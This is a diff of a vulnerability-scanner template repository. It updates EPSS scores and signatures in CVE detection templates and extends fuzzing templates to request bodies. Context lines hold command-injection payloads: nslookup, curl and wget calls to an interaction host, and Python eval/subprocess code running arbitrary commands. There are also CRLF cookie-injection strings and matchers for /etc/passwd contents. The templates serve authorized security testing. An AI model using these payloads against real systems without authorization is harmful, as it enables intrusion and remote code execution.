+            "github": "https://github.com/zer0p0intvvv",
+            "twitter": "",
+            "linkedin": "",
+            "website": "",
+            "email": ""
+        }
+    },
+    {
+        "author": "Th3l0newolf",
+        "links": {
+            "github": "https://github.com/Th3l0newolf",
+            "twitter": "",
+            "linkedin": "",
+            "website": "",
+            "email": ""
+        }
+    },
+    {
+        "author": "sudo-a-man",
+        "links": {
+            "github": "https://github.com/sudo-a-man",
+            "twitter": "",
+            "linkedin": "",
+            "website": "",
+            "email": ""
+        }
     }
 ]

cves.json-checksum.txt

@@ -1 +1 @@
-3fec8cd8f06506e30d2695d464c64d73
+f3990275d1c6fc2915600ac9e66904ac

dast/cves/2018/CVE-2018-19518.yaml

@@ -20,8 +20,8 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2018-19518
     cwe-id: CWE-88
-    epss-score: 0.9523
-    epss-percentile: 0.99855
+    epss-score: 0.96107
+    epss-percentile: 0.99877
   metadata:
     max-request: 1
     confidence: tenative
@@ -53,4 +53,4 @@ http:
         part: interactsh_request
         words:
           - "User-Agent: curl"
-# digest: 4a0a00473045022100eb4ba1b4a3246fd460c0994a3a19f76d3186248c0bae1427dfcf661a375915cc0220017bd964df8a937583517afccca16dc21da886c27575d9aba870c4d8db447333:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cec69f18c3403fdedb7898860163b27e4ec8053b1d6927b22b2874f87578441d02203f371f170f236bef715c529b4eb258c9fcd6e18543da26d910aa74dd6f101c79:922c64590222798bb761d5b6d8e72950

dast/cves/2020/CVE-2020-9402.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2020-9402
     cwe-id: CWE-89
     epss-score: 0.22513
-    epss-percentile: 0.97405
+    epss-percentile: 0.97715
     cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
   metadata:
     vendor: djangoproject
@@ -54,4 +54,4 @@ http:
           - "ORA-06512:"
           - "Request Method:"
         condition: and
-# digest: 490a00463044022027103ec5478aeeaee7255b8250614ea74a3527d431706efa7697d4e24e6aa1d902200780832c78755fbbdd98421675eb9456ae082bdbcf4ebe4a316819ca9d75410e:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220147d54404e5435ace823b18bdaca18e8bc1f7f48ead04730e44cb51c836f2d260220661dfc2fa94b8a56c140f8283da2d0857b014efee28cd2197599661593ecff5a:922c64590222798bb761d5b6d8e72950

dast/cves/2021/CVE-2021-35042.yaml

@@ -20,11 +20,11 @@ info:
     cve-id: CVE-2021-35042
     cwe-id: CWE-89
     epss-score: 0.44369
-    epss-percentile: 0.98594
+    epss-percentile: 0.98768
   metadata:
     verified: true
     fofa-query: body="ProgrammingError" && body="ORDER BY"
-  tags: cve,cve2021,django,sqli,dast
+  tags: cve,cve2021,django,sqli,dast,vuln
 
 variables:
   rand_string: '{{rand_text_alpha(10, "abc")}}'
@@ -66,4 +66,4 @@ http:
           - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
           - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
           - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
-# digest: 490a0046304402205edf51e759614df42608e2b4f2644754405bcf6aa425d2a912ef520d93ca6a0e02201e744b9b2c8f13e5e93e00e0baf367a34b758956e009d79b2125c4f8bdf7ce1b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b6d3f02b21233dc13034971472ef9303cc2d7ca17d6d15e539cead7ca3a568d0022100f181cb6a510bc29993cabc2368f8d2ebd646d8d63b8adb42ae2576f8126b0380:922c64590222798bb761d5b6d8e72950

dast/cves/2021/CVE-2021-45046-DAST.yaml

@@ -21,7 +21,7 @@ info:
     cve-id: CVE-2021-45046
     cwe-id: CWE-502
     epss-score: 0.99977
-    epss-percentile: 0.9998
+    epss-percentile: 0.99979
   metadata:
     max-request: 1
     confidence: tenative
@@ -66,4 +66,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b6ed1935cff5051003d99c6f19bcc8f1a999975bc7e3e9c5ac18f74bccb469ec022100842bffc0cbe807b3b39ad28a2f1e3a52a5fd8105a527b2ec81040e610a056adb:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-22965.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-22965
     cwe-id: CWE-94
-    epss-score: 0.9972
-    epss-percentile: 0.9995
+    epss-score: 0.99638
+    epss-percentile: 0.99949
     cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -59,4 +59,4 @@ http:
         words:
           - "User-Agent: Java"
         case-insensitive: true
-# digest: 4a0a004730450221009fe5c72bd7d2787757da111ee58f098d7778e3eafe824b4cde1d1f19a2bd6fac0220431f9abb25311d6793cb91bf60a1766849ade12410462b1691341621d9e9f35e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022076496a9f03da0eed88349cae19ffa2ddd4af8408ab680e2bcae232324574f847022100f3b62d62298ad2d4c82fcd43c3a1ec1ccf83082b3219d59d47678c2ee49549ef:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-34265.yaml

@@ -20,8 +20,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-34265
     cwe-id: CWE-89
-    epss-score: 0.7309
-    epss-percentile: 0.99382
+    epss-score: 0.73607
+    epss-percentile: 0.99472
   tags: sqli,dast,vulhub,cve,cve2022,django,vuln
 
 variables:
@@ -50,4 +50,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a00473045022100aed8721a9e7eeb64ad4a24153b1b9c34796c40778a08baed39c7d4589545e07202206d22c0cb7d8fe6dc08c0ef29a93b39307800cc1a4837272f89008c7284d1196d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b546f009f75e704ba1a72c2885411bd3f210bfd48a978040ab602770424bf57d02206796825e165c9673bdd4f911ed9eb26e7c6e92ae91b78f05102292d55822bd7d:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-42889.yaml

@@ -21,7 +21,7 @@ info:
     cve-id: CVE-2022-42889
     cwe-id: CWE-94
     epss-score: 0.99931
-    epss-percentile: 0.99967
+    epss-percentile: 0.9997
   metadata:
     max-request: 1
     confidence: tenative
@@ -70,4 +70,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a004830460221008f007f71653244cc319e1eb50630fefa36fef25ea093706a68a4d98f9e886aaa0221009a2b22b0f0ec55128e11a3e8d8174322438a9404d08baf7c3309c74b537b9d50:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200bc343e45555582db438e4321e4e229cca83cac40704b73194f800b0f7f391b40220337abff5987d9bbf41f030325b1666552cd946ca94e31498ab79fa03bccab83b:922c64590222798bb761d5b6d8e72950

dast/cves/2024/CVE-2024-2961.yaml

@@ -19,7 +19,7 @@ info:
     cve-id: CVE-2024-2961
     cwe-id: CWE-787
     epss-score: 0.8833
-    epss-percentile: 0.99748
+    epss-percentile: 0.99771
   tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
 
 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
       - type: regex
         regex:
           - "root:x:0:0"
-# digest: 4a0a0047304502204a35f1de6b0b902844b557a86904de08c6eef79e7e62ea2c4155507fd10e2b8802210090da87de8fd9606a9714c70bee1119197c6ebba21262d5874365f490bcb53902:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203cc146f11f2e115d795986b5518b2187e5b790281d595d333607a34e133746510221009081f17d57be2b7129eacf3198808e60555da8d98c8ed16700d93da9b68af336:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/blind-oast-polyglots.yaml

@@ -22,7 +22,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       payload:
         - "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
@@ -31,7 +32,9 @@ http:
         - "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: postfix
         fuzz:
           - "{{payload}}"
@@ -47,4 +50,4 @@ http:
         part: interactsh_protocol
         words:
           - "http"
-# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ffa659b189fa15afd2deb641d4d7b3ad6fc998004693b214687229e64c044014022100a35d3b3c7ca81690c0c05e027ef0b95752a80e42a98e5902bb995e10d39e35b7:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/python-code-injection.yaml

@@ -14,7 +14,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       injection:
         - eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
@@ -35,7 +36,9 @@ http:
         - eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: replace
         fuzz:
           - "{{injection}}"
@@ -46,4 +49,4 @@ http:
         part: body
         regex:
           - 'root:.*:0:0:'
-# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cd9bba97f258c066f8503c51a37f32763c0c776da2023179cb9665d4e6c397d3022100b04ff58ead57ba70bb1b64bab48d1a4f591f5515215631baeecbbe96e621cf15:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/ruby-open-rce.yaml

@@ -21,14 +21,17 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     stop-at-first-match: true
     payloads:
       interaction:
         - "|nslookup {{marker}}|curl {{marker}}"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         fuzz:
           - "{{interaction}}"
 
@@ -37,4 +40,4 @@ http:
         part: interactsh_protocol
         words:
           - "dns"
-# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e0426452b9d9cfa0ff0ba648b26c60b3fbcc93a25174f502334d9693ddb5b41b0221008c11d287b5f6fc884922738abbf813b43201b6aede175b32f502fd4d2bd73419:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/cookie-injection.yaml

@@ -19,13 +19,16 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       reflection:
         - "{{first}}"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: postfix
         fuzz:
           - "{{reflection}}"
@@ -35,4 +38,4 @@ http:
         part: header
         regex:
           - '(?m)(?i)(^set-cookie.*cookie_injection.*)'
-# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fcc832957048d66c083e01674bdb650b1f6aac2fe924de9a40f4175d15e9fcea022003ecffde416eccf471ecabcc2fb366f2280987da6a74bc0b23ef5abdd6829ae9:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/crlf-injection.yaml

@@ -13,7 +13,8 @@ http:
       - type: dsl
         dsl:
           - 'method == "GET"'
-
+          - 'method == "POST"'
+          - 'method == "PUT"'
     payloads:
       escape:
         low:
@@ -62,7 +63,9 @@ http:
           - "\r\t"
 
     fuzzing:
-      - part: query
+      - parts:
+          - query
+          - body
         type: postfix
         fuzz:
           - "{{escape}}Set-Cookie:crlfinjection=crlfinjection"
@@ -73,4 +76,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
-# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bca778c35d5fc61dd71c6454594f25f309d049b5681c7bfdcfa41ab4eeed600a022100d2ee23bf8dc026de3b52c0427f4ca3c4ee3ed9ba15cec1f43f81de2833807e3a:922c64590222798bb761d5b6d8e72950